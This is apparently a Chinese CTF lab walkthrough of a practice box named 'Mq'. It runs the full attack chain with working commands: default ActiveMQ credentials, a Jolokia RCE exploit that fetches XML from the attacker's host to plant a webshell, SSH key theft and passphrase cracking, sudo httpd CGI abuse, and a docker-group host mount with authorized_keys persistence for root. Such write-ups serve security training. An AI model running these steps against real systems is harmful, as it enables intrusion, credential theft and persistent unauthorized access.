

群友靶机-Mq

信息搜集

靶机ip 192.168.1.7, 先扫一下端口

```
nmap -sv -sC -p- --min-rate 1000 192.168.1.7
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 10.3 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.67 ((Unix))
5005/tcp	open	jdwp	Java Debug Wire Protocol (Reference Implementation) version 17.0 17.0.18
8161/tcp	open	http	Jetty
61616/tcp	open	apachemq	ActiveMQ OpenWire transport 6.2.2

jdwp端口能连上, 但是线程调用一直报 INVALID_THREAD, 换条路。

ActiveMQ 探测

8161是 ActiveMQ 管理控制台, 试了下 admin/admin 直接进了

```
└─(root@kali)-[~/tmp]
└─# curl -s -u admin:admin http://192.168.1.7:8161/admin/

.....
      <td>Version</td>
      <td><b>6.2.2</b></td>
.....
```

版本是 6.2.2, 搜了下正好有个 [CVE-2026-34197](#), Jolokia API 的 RCE, 影响范围正好到 6.2.2。

CVE-2026-34197 → Webshell

漏洞原理是通过 Jolokia 的 `addNetworkConnector` 操作, 传一个 `vm://` 开头的 URI 配合 `brokerConfig=xbean:http://` 让目标去加载远程的 Spring XML, XML 里的 `ProcessBuilder` 在 `init-method` 阶段就执行命令了。

```
python3 exploit_webshell.py -t http://192.168.1.7:8161 --lhost 192.168.1.6
```

```
[+] WEBSHELL OK: http://192.168.1.7:8161/admin/pztazhho.jsp?cmd=<command>
[+] RCE Output: uid=0(root) gid=0(root) groups=0(root)
```

webshell 拿到了, 容器内 root 权限, user flag 就在 /root/user.txt

```
└─(root@kali)-[~/tmp]
└─# curl -u admin:admin "http://192.168.1.7:8161/admin/pztazhho.jsp?cmd=cat+/root/user.txt"
flag{user-d91a8fbafbd0c143e2144773483c0f65}
```

容器信息收集

看看环境，挂载的东西不少

```
└─(root@kali)-[~/tmp]
└─# curl -u admin:admin "http://192.168.1.7:8161/admin/pztazhho.jsp?
cmd=mount+|+grep+sda3"
/dev/sda3 on /root type ext4 (ro,relatime)
/dev/sda3 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda3 on /etc/hostname type ext4 (rw,relatime)
/dev/sda3 on /etc/hosts type ext4 (rw,relatime)
```

/root 下面除了 user.txt 还有个 .ssh 目录

```
ls -la /root/.ssh/
```

```
-rw-r--r-- 1 ubuntu ubuntu 553 authorized_keys
-rw----- 1 ubuntu ubuntu 2635 id_rsa
-rw-r--r-- 1 root   ubuntu 553 id_rsa.pub
```

把私钥拖出来

```
curl -u admin:admin "http://192.168.1.7:8161/admin/pztazhho.jsp?
cmd=cat+/root/.ssh/id_rsa" > id_rsa
```

SSH 私钥破解

有密码，john 跑一下

```
└─(root@kali)-[~/tmp]
└─# ssh2john id_rsa > id_rsa.hash
```

```
└─(root@kali)-[~/tmp]
└─# john id_rsa.hash --wordlist=../rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
```

```
└─(root@kali)-[~/tmp]
└─# john id_rsa.hash --show
/root/tmp/id_rsa:melisa
```

```
1 password hash cracked, 0 left
```

密码是 melisa

```

└─(root@kali)-[~/tmp]
└─# ssh-keygen -y -f id_rsa >id_rsa.pub
Enter passphrase for "id_rsa":

└─(root@kali)-[~/tmp]
└─# cat id_rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQgQDHTWWvHkCLFhmjaYobU7CxcQgJbFdPaEg0yvFHOWlfnzrIekmg
2dx7GWffMQsbglCBMq3FuYdYIT+NQRlZHEfjvcZ0rQw2M7nv5ZHrRKENo+x39cTmuH/b00dhTYWqjOO
SBCUmPMCRwsBTSM+0bykGRo8CKx79VzLNTX41UOWah3Ik2/053wwAH2zyfuh2cchaE+39mTyeVL7IC/U
igaTOgCTORmmPK3pB4smRQ4dk0mmspqbQcQEptrVsF5EOjlI8gpbUzOXZ9v4xTSj+nuYxiHTq2iRF3TN
PQWSaB5J1EFHAvaiD8w6wva9i8ioYv/jXLpqh0To07nv5tzZmA5fGSWqU+fsrAKBALKhwiS6pyc4D2ly
+nBBmUpo5KLawqev+TuGyz/nJ2EvoTyP+nACUyzgP9dg1Pc35dwoxyHtE1Mpiquyw7avziOj0nxMluRl
79YRnt3i5CMhw7q+Wfm65SFi3+0LJsvzDy8YlnFJq7GuUEx/Qg0cEurfn9Aha3s= pippinu@Mq

```

公钥给出了用户名: `pippinu@Mq`

pippinu → 宿主机

```

└─(root@kali)-[~/tmp]
└─# ssh -i id_rsa pippinu@192.168.1.7
Enter passphrase for key 'id_rsa':

_ _ _ _ _
| | | | |
\ \ / / _ \ | / _ \ | ' _ ` _ \ / _ \
 \ v v / _/ | ( _ ( ) | | | | | _/
  \/_/ \_/_/_/_/_/_/_/_/_/_/_/_/_/_/_

pippinu@Mq:~$

```

看看 sudo

```

pippinu@Mq:~$ sudo -l
Matching Defaults entries for pippinu on Mq:

secure_path=/usr/local/sbin\::/usr/local/bin\::/usr/sbin\::/usr/bin\::/sbin\::/bin

Runas and Command-specific defaults for pippinu:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User pippinu may run the following commands on Mq:
(jazz) NOPASSWD: /usr/sbin/httpd

```

只能以 jazz 用户执行 httpd。看看有没有别的

```
pippinu@Mq:~$ find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/bbsuid
/bin/mount
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/sbin/suexec
```

pippinu → jazz

用 httpd 搭个 CGI 拿到 jazz shell。注意 `ServerRoot /tmp` 时日志目录默认是 `/tmp/logs/`，jazz 用户没有写权限会报错：

```
(13)Permission denied: AH00091: httpd: could not open error log file
/tmp/logs/error.log
```

解决方案：单独建一个工作目录 `jazz_work`，设 777 权限，ErrorLog 指向它。

```
mkdir -p /tmp/cgi-bin /tmp/htdocs /tmp/jazz_work/logs
chmod -R 777 /tmp/jazz_work

cat > /tmp/cgi-bin/shell.cgi << 'EOF'
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
id
sudo -l 2>&1
groups
EOF
chmod +x /tmp/cgi-bin/shell.cgi

cat > /tmp/jazz_work/httpd.conf << 'EOF'
ServerRoot /tmp/jazz_work
PidFile /tmp/jazz_work/httpd.pid
Listen 8889
ErrorLog /tmp/jazz_work/logs/error.log
LoadModule mpm_prefork_module /usr/lib/apache2/mod_mpm_prefork.so
LoadModule authz_core_module /usr/lib/apache2/mod_authz_core.so
LoadModule unixd_module /usr/lib/apache2/mod_unixd.so
LoadModule alias_module /usr/lib/apache2/mod_alias.so
LoadModule cgi_module /usr/lib/apache2/mod_cgi.so
LoadModule mime_module /usr/lib/apache2/mod_mime.so
DocumentRoot /tmp/htdocs
ScriptAlias /cgi-bin/ /tmp/cgi-bin/
<Directory /tmp/cgi-bin>
    SetHandler cgi-script
    Options +ExecCGI
    Require all granted
</Directory>
EOF
```

```
sudo -u jazz /usr/sbin/httpd -f /tmp/jazz_work/httpd.conf -k start
wget -qO- http://127.0.0.1:8889/cgi-bin/shell.cgi
```

```
uid=1001(jazz) gid=1001(jazz) groups=102(docker),1001(jazz)
```

拿到 jazz 执行权后，输入id，发现当前用户在docker组内，利用 docker 组挂载宿主机根目录，写入 SSH 公钥实现直接登录。

先在攻击机生成密钥对:

```
ssh-keygen -t rsa -b 4096 -f jazz_key -N '' -C 'jazz@mq'
```

通过 CGI + docker 写入 `/home/jazz/.ssh/authorized_keys`:

```
cat > /tmp/cgi-bin/writekey.cgi << 'EOF'
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
docker run --rm -v /:/host vulhub/activemq:6.2.2 sh -c "
mkdir -p /host/home/jazz/.ssh
echo 'ssh-rsa AAAA...' >> /host/home/jazz/.ssh/authorized_keys
chmod 700 /host/home/jazz/.ssh
chmod 600 /host/home/jazz/.ssh/authorized_keys
chown -R 1001:1001 /host/home/jazz/.ssh
"
echo "[+] Done."
EOF
chmod +x /tmp/cgi-bin/writekey.cgi

wget -qO- http://127.0.0.1:8889/cgi-bin/writekey.cgi
```

验证登录:

```
└─(root@kali)-[~/tmp]
└─# ssh -i jazz_key jazz@192.168.1.7

      _
     _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
    / / \ / / \ / / \ / / \ / / \ / / \ / / \ / / \ / / \ / / \ / / \ / / \
   / v  v /  _/  | (  (  | | | | | | |  _/
    \  \  \  _\  |  \  _\  /  |  |  |  |  \  |

jazz@Mq:~$ id
uid=1001(jazz) gid=1001(jazz) groups=102(docker),1001(jazz)
```

jazz → root

docker 组能直接挂载宿主机根目录, 读 root flag:

```
jazz@Mq:~$ docker run --rm -v /:/host vulhub/activemq:6.2.2 cat
/host/root/root.txt
flag{root-50dc4d76c360b06b00d74980178cbf04}
```

能读取flag，尝试跟拿到jazzshell一样的操作，写入一个ssh公钥

root SSH 持久化

同样通过 CGI + docker，直接写入 root 的 authorized_keys，拿到 root SSH:

```
cat > /tmp/cgi-bin/writeroot.cgi << 'EOF'
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
docker run --rm -v /:/host vulhub/activemq:6.2.2 sh -c "
mkdir -p /host/root/.ssh
echo 'ssh-rsa AAAA...' >> /host/root/.ssh/authorized_keys
chmod 700 /host/root/.ssh
chmod 600 /host/root/.ssh/authorized_keys
"
echo "[+] Done."
EOF
chmod +x /tmp/cgi-bin/writeroot.cgi

wget -qO- http://127.0.0.1:8889/cgi-bin/writeroot.cgi
```

验证:

```
(root@kali)-[~/tmp]
└─# ssh -i jazz_key root@192.168.1.7
```

_

```
\ \ / / _ \ | / _ \ | ' ` _ \ / _ \
 \ v v / _/ | (| (| | | | | _/
   \|/\| \|_|_| \|_|_|_|_|_|_|_|
```

```
root@Mq:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video),102(docker)
```

至此 pippinu、jazz、root 三个用户全部可以用 `jazz_key` 免密 SSH 登录。

Flag

```
flag{user-d91a8fbafbd0c143e2144773483c0f65}  
flag{root-50dc4d76c360b06b00d74980178cbf04}
```